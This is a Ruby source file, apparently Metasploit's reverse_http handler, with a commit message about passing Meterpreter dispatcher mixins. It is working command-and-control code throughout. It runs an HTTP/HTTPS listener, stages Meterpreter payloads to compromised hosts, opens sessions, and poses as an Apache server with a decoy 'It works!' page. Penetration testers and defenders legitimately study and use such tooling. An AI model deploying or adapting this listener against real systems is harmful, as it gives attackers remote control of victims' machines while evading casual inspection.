RageLtMan
f1a1e1a357
All meterpreter Clients are created equal, and as such they all include the PacketDispatcher mixin and call its init methods when a passive dispatcher is needed. However, since tunneling protocols have different requirements for implementation, the methods which provide protocol-specific functionality need to be mixed into the Client before it attempts to initialize the dispatcher. Provide a dispatch_ext option in the has passed to the client on init from the session handler which is an Array containing mixin references which are sent to :extend calls in the :init_meterpreter method just prior to calling :initialize_passive_dispatcher. Each handler implementation can thus push chains of mixins to the client in order to provide middleware specific to the tunnel. Down the road, this should permit stacking C2 encapsulations or tunnel protocols/permutators to create unique session transports on the fly.
415 lines
12 KiB
Ruby
415 lines
12 KiB
Ruby
# -*- coding: binary -*-
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require 'rex/io/stream_abstraction'
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require 'rex/sync/ref'
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require 'rex/payloads/meterpreter/uri_checksum'
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require 'rex/post/meterpreter'
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require 'rex/socket/x509_certificate'
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require 'msf/core/payload/windows/verify_ssl'
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require 'rex/user_agent'
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module Msf
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module Handler
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###
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#
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# This handler implements the HTTP SSL tunneling interface.
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#
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###
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module ReverseHttp
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include Msf::Handler
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include Msf::Handler::Reverse
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include Rex::Payloads::Meterpreter::UriChecksum
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include Msf::Payload::Windows::VerifySsl
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#
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# Returns the string representation of the handler type
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#
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def self.handler_type
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return 'reverse_http'
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end
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#
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# Returns the connection-described general handler type, in this case
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# 'tunnel'.
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#
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def self.general_handler_type
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"tunnel"
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end
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#
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# Initializes the HTTP SSL tunneling handler.
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#
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def initialize(info = {})
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super
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register_options(
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[
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OptAddressLocal.new('LHOST', [true, 'The local listener hostname']),
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OptPort.new('LPORT', [true, 'The local listener port', 8080]),
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OptString.new('LURI', [false, 'The HTTP Path', ''])
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], Msf::Handler::ReverseHttp)
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register_advanced_options(
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[
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OptAddress.new('ReverseListenerBindAddress',
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'The specific IP address to bind to on the local system'
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),
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OptBool.new('OverrideRequestHost',
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'Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT',
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),
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OptString.new('OverrideLHOST',
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'When OverrideRequestHost is set, use this value as the host name for secondary requests'
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),
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OptPort.new('OverrideLPORT',
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'When OverrideRequestHost is set, use this value as the port number for secondary requests'
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),
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OptString.new('OverrideScheme',
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'When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https'
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),
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OptString.new('HttpUserAgent',
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'The user-agent that the payload should use for communication',
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default: Rex::UserAgent.shortest,
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aliases: ['MeterpreterUserAgent']
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),
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OptString.new('HttpServerName',
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'The server header that the handler will send in response to requests',
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default: 'Apache',
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aliases: ['MeterpreterServerName']
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),
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OptString.new('HttpUnknownRequestResponse',
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'The returned HTML response body when the handler receives a request that is not from a payload',
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default: '<html><body><h1>It works!</h1></body></html>'
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),
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OptBool.new('IgnoreUnknownPayloads',
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'Whether to drop connections from payloads using unknown UUIDs'
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)
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], Msf::Handler::ReverseHttp)
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end
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def print_prefix
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if Thread.current[:cli]
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super + "#{listener_uri} handling request from #{Thread.current[:cli].peerhost}; (UUID: #{uuid.to_s}) "
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else
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super
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end
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end
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# A URI describing where we are listening
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#
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# @param addr [String] the address that
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# @return [String] A URI of the form +scheme://host:port/+
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def listener_uri(addr=datastore['ReverseListenerBindAddress'])
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addr = datastore['LHOST'] if addr.nil? || addr.empty?
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uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr
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"#{scheme}://#{uri_host}:#{bind_port}#{luri}"
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end
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# Return a URI suitable for placing in a payload.
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#
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# Host will be properly wrapped in square brackets, +[]+, for ipv6
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# addresses.
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#
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# @param req [Rex::Proto::Http::Request]
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# @return [String] A URI of the form +scheme://host:port/+
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def payload_uri(req=nil)
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callback_host = nil
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callback_scheme = nil
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# Extract whatever the client sent us in the Host header
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if req && req.headers && req.headers['Host']
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callback_host, callback_port = req.headers['Host'].split(":")
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callback_port = callback_port.to_i
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callback_port ||= (ssl? ? 443 : 80)
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end
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# Override the host and port as appropriate
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if datastore['OverrideRequestHost'] || callback_host.nil?
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callback_host = datastore['OverrideLHOST']
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callback_port = datastore['OverrideLPORT']
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callback_scheme = datastore['OverrideScheme']
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end
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if callback_host.nil? || callback_host.empty?
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callback_host = datastore['LHOST']
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end
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if callback_port.nil? || callback_port.zero?
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callback_port = datastore['LPORT']
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end
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if callback_scheme.nil? || callback_scheme.empty?
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callback_scheme = scheme
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end
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if Rex::Socket.is_ipv6? callback_host
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callback_host = "[#{callback_host}]"
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end
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if callback_host.nil?
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raise ArgumentError, "No host specified for payload_uri"
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end
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if callback_port
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"#{callback_scheme}://#{callback_host}:#{callback_port}"
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else
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"#{callback_scheme}://#{callback_host}"
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end
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end
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# Use the #refname to determine whether this handler uses SSL or not
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#
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def ssl?
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!!(self.refname.index('https'))
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end
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# URI scheme
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#
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# @return [String] One of "http" or "https" depending on whether we
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# are using SSL
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def scheme
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(ssl?) ? 'https' : 'http'
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end
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# The local URI for the handler.
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#
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# @return [String] Representation of the URI to listen on.
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def luri
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l = datastore['LURI'] || ""
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if l && l.length > 0
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# strip trailing slashes
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while l[-1, 1] == '/'
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l = l[0...-1]
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end
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# make sure the luri has the prefix
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if l[0, 1] != '/'
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l = "/#{l}"
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end
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end
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l.dup
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end
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# Create an HTTP listener
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#
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# @return [void]
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def setup_handler
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local_addr = nil
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local_port = bind_port
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ex = false
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# Start the HTTPS server service on this host/port
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bind_addresses.each do |ip|
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begin
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self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
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local_port, ip, ssl?,
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{
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'Msf' => framework,
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'MsfExploit' => self,
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},
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nil,
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(ssl?) ? datastore['HandlerSSLCert'] : nil
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)
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local_addr = ip
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rescue
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ex = $!
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print_error("Handler failed to bind to #{ip}:#{local_port}")
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else
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ex = false
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break
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end
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end
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raise ex if (ex)
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self.service.server_name = datastore['HttpServerName']
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# Add the new resource
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service.add_resource((luri + "/").gsub("//", "/"),
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'Proc' => Proc.new { |cli, req|
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on_request(cli, req)
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},
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'VirtualDirectory' => true)
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print_status("Started #{scheme.upcase} reverse handler on #{listener_uri(local_addr)}")
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lookup_proxy_settings
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if datastore['IgnoreUnknownPayloads']
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print_status("Handler is ignoring unknown payloads, there are #{framework.uuid_db.keys.length} UUIDs whitelisted")
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end
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end
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#
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# Removes the / handler, possibly stopping the service if no sessions are
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# active on sub-urls.
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#
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def stop_handler
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if self.service
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self.service.remove_resource((luri + "/").gsub("//", "/"))
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if self.service.resources.empty? && self.sessions == 0
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Rex::ServiceManager.stop_service(self.service)
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end
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end
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end
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attr_accessor :service # :nodoc:
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protected
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#
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# Parses the proxy settings and returns a hash
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#
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def lookup_proxy_settings
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info = {}
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return @proxy_settings if @proxy_settings
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if datastore['HttpProxyHost'].to_s == ''
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@proxy_settings = info
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return @proxy_settings
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end
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info[:host] = datastore['HttpProxyHost'].to_s
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info[:port] = (datastore['HttpProxyPort'] || 8080).to_i
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info[:type] = datastore['HttpProxyType'].to_s
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uri_host = info[:host]
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if Rex::Socket.is_ipv6?(uri_host)
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uri_host = "[#{info[:host]}]"
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end
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info[:info] = "#{uri_host}:#{info[:port]}"
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if info[:type] == "SOCKS"
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info[:info] = "socks=#{info[:info]}"
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else
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info[:info] = "http://#{info[:info]}"
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if datastore['HttpProxyUser'].to_s != ''
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info[:username] = datastore['HttpProxyUser'].to_s
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end
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if datastore['HttpProxyPass'].to_s != ''
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info[:password] = datastore['HttpProxyPass'].to_s
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end
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end
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@proxy_settings = info
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end
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#
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# Parses the HTTPS request
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#
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def on_request(cli, req)
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Thread.current[:cli] = cli
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resp = Rex::Proto::Http::Response.new
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info = process_uri_resource(req.relative_resource)
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uuid = info[:uuid] || Msf::Payload::UUID.new
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# Configure the UUID architecture and payload if necessary
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uuid.arch ||= self.arch
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uuid.platform ||= self.platform
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conn_id = luri
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if info[:mode] && info[:mode] != :connect
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conn_id << generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
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else
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conn_id << req.relative_resource
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conn_id = conn_id.chomp('/')
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end
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request_summary = "#{conn_id} with UA '#{req.headers['User-Agent']}'"
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# Validate known UUIDs for all requests if IgnoreUnknownPayloads is set
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if datastore['IgnoreUnknownPayloads'] && ! framework.uuid_db[uuid.puid_hex]
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print_status("Ignoring unknown UUID: #{request_summary}")
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info[:mode] = :unknown_uuid
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end
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# Validate known URLs for all session init requests if IgnoreUnknownPayloads is set
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if datastore['IgnoreUnknownPayloads'] && info[:mode].to_s =~ /^init_/
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allowed_urls = framework.uuid_db[uuid.puid_hex]['urls'] || []
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unless allowed_urls.include?(req.relative_resource)
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print_status("Ignoring unknown UUID URL: #{request_summary}")
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info[:mode] = :unknown_uuid_url
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end
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end
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self.pending_connections += 1
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resp.body = ''
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resp.code = 200
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resp.message = 'OK'
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url = payload_uri(req) + conn_id
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url << '/' unless url[-1] == '/'
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# Process the requested resource.
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case info[:mode]
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when :init_connect
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print_status("Redirecting stageless connection from #{request_summary}")
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# Handle the case where stageless payloads call in on the same URI when they
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# first connect. From there, we tell them to callback on a connect URI that
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# was generated on the fly. This means we form a new session for each.
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# Hurl a TLV back at the caller, and ignore the response
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pkt = Rex::Post::Meterpreter::Packet.new(Rex::Post::Meterpreter::PACKET_TYPE_RESPONSE,
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'core_patch_url')
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pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_TRANS_URL, conn_id + "/")
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resp.body = pkt.to_r
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when :init_python, :init_native, :init_java, :connect
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# TODO: at some point we may normalise these three cases into just :init
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if info[:mode] == :connect
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print_status("Attaching orphaned/stageless session...")
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else
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begin
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blob = self.generate_stage(url: url, uuid: uuid, uri: conn_id)
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blob = encode_stage(blob) if self.respond_to?(:encode_stage)
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print_status("Staging #{uuid.arch} payload (#{blob.length} bytes) ...")
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resp['Content-Type'] = 'application/octet-stream'
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resp.body = blob
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rescue NoMethodError
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print_error("Staging failed. This can occur when stageless listeners are used with staged payloads.")
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return
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end
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end
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create_session(cli, {
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:passive_dispatcher => self.service,
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:dispatch_ext => [Rex::Post::Meterpreter::HttpPacketDispatcher],
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:conn_id => conn_id,
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:url => url,
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:expiration => datastore['SessionExpirationTimeout'].to_i,
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:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
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:retry_total => datastore['SessionRetryTotal'].to_i,
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:retry_wait => datastore['SessionRetryWait'].to_i,
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:ssl => ssl?,
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:payload_uuid => uuid
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})
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else
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unless [:unknown_uuid, :unknown_uuid_url].include?(info[:mode])
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print_status("Unknown request to #{request_summary}")
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end
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resp.body = datastore['HttpUnknownRequestResponse'].to_s
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self.pending_connections -= 1
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end
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cli.send_response(resp) if (resp)
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# Force this socket to be closed
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self.service.close_client(cli)
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end
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end
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end
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end
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